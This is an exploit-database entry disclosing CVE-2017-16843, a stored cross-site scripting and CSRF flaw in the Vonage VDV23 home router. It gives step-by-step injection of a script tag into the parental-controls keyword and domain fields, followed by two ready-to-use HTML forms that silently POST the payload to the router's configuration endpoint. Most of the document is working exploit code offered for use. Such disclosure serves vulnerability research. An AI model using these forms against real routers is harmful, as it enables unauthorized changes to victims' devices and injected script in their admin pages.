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Vonage VDV23 - Cross-Site Scripting Vulnerability

Author
Nu11By73
Risk
[
Security Risk Medium
]
0day-ID
0day-ID-29007
Category
web applications
Date add
16-11-2017
CVE
CVE-2017-16843
Platform
hardware
# Exploit Title: Vonage Home Router – Stored Xss
# Exploit Author: Nu11By73
# Hardware Version: VDV-23: 115
# Software Version: 3.2.11-0.9.40
# CVE : CVE-2017-16843
 
 
NewKeyword Parameter:
 
Login to the router
Click advanced setup
Click parental controls
In the blocked keywords text box enter: test”><script>alert(1)</script> (screenshot 1)
Click the add keyword button to receive the pop up. 
 
Login to the router
Click advanced setup
Click parental controls
In the block these websites text box enter: test”><script>alert(1)</script> (screenshot 1)
Click the add domain button to receive the pop up.
 
Proof of concept code:
 
NewDomain.html
<!—Note: The x and y values will need to be changed accordingly
<html>
<p>Authenticated Stored CSRF/XSS - Vonage Modem</p>
<form method="POST" action="http://192.168.15.1/goform/RgParentalBasic">
<input type="hidden" name="RemoveContentRule" value="0" />
<input type="hidden" name="AddContentRule" value="0" />
<input type="hidden" name="ContentRules" value="0" />
<input type="hidden" name="RuleSelect" value="0" / >
<input type="hidden" name="NewKeyword" value="" / >
<input type="hidden" name="KeywordAction" value="0" />
<input type="hidden" name="NewDomain" value="test'><script>alert(1)</script>" />
<input type="hidden" name="x" value="50" />
<input type="hidden" name="y" value="15" />
<input type="hidden" name="DomainAction" value="1" />
<input type="hidden" name="AllowedDomainAction" value="0" />
<input type="hidden" name="ParentalPassword" value="Broadcom" />
<input type="hidden" name="ParentalPasswordReEnter" value="Broadcom" />
<input type="hidden" name="AccessDuration" value="30" />
<input type="submit" title="Exploit" />
</form>
</html>
 
NewKeyword.html
<!—Note: The x and y values will need to be changed accordingly
<html>
<p>Authenticated Stored CSRF/XSS - Vonage Modem</p>
<form method="POST" action="http://192.168.15.1/goform/RgParentalBasic">
<input type="hidden" name="RemoveContentRule" value="0" />
<input type="hidden" name="AddContentRule" value="0" />
<input type="hidden" name="ContentRules" value="0" />
<input type="hidden" name="RuleSelect" value="0" / >
<input type="hidden" name="NewKeyword" value="test'><script>alert(1)</script>" / >
<input type="hidden" name="x" value="61" />
<input type="hidden" name="y" value="12" />
<input type="hidden" name="KeywordAction" value="1" />
<input type="hidden" name="NewDomain" value="" />
<input type="hidden" name="DomainAction" value="0" />
<input type="hidden" name="AllowedDomainAction" value="0" />
<input type="hidden" name="ParentalPassword" value="Broadcom" />
<input type="hidden" name="ParentalPasswordReEnter" value="Broadcom" />
<input type="hidden" name="AccessDuration" value="30" />
<input type="submit" title="Enable Service" />
</form>
</html>

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